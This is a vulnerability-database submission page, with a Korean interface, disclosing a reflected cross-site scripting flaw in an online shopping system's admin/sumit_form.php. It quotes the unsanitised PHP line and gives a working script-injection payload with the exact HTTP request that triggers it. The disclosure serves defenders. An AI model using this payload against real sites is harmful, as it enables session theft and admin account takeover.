| 제목 | ONLINE SHOPPING SYSTEM admin/sumit_form.php Reflected XSS Vulnerability v1 Reflected XSS |
|---|
| 설명 | ## ONLINE SHOPPING SYSTEM admin/sumit_form.php Reflected XSS Vulnerability
### I. Vulnerability Impact
An attacker can craft a malicious URL that injects arbitrary JavaScript into the admin panel page, which executes in the victim's browser. This enables session cookie theft, CSRF attack chaining, and full admin account takeover.
### II. Source Code Analysis
The vulnerability resides in `admin/sumit_form.php`, lines 2 and 13:
```php
$link = $_REQUEST['success'];
...
<input hidden="" type="text" name="success" value="<?php echo "$link";?>">
```
The `$link` variable is taken directly from `$_REQUEST['success']` (accessible via GET) and output into the `value` attribute of an `<input>` tag without any sanitization. An attacker can close the attribute with a double quote and inject arbitrary HTML tags including `<script>`.
### III. Payload
The core injection payload is:
```
"><ScRiPt>alert(888)</sCrIpT>
```
After injection, the output HTML becomes:
```html
<input hidden="" type="text" name="success" value=""><ScRiPt>alert(888)</sCrIpT>">
```
The browser parses `<ScRiPt>alert(888)</sCrIpT>` as a script element and executes the JavaScript.
HTTP request:
```
GET /admin/sumit_form.php?success="><ScRiPt>alert(888)</sCrIpT> HTTP/1.1
Host: onlineshop
```
### IV. Source Download
https://code-projects.org/online-shopping-system-in-php-with-source-code/
|
|---|
| 원천 | ⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul7.md |
|---|
| 사용자 | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
|---|
| 제출 | 2026. 06. 27. AM 05:38 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 08. 25. PM 04:40 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 395055 [code-projects Online Shopping System 1.0 /admin/sumit_form.php 성공 크로스 사이트 스크립팅] |
|---|
| 포인트들 | 20 |
|---|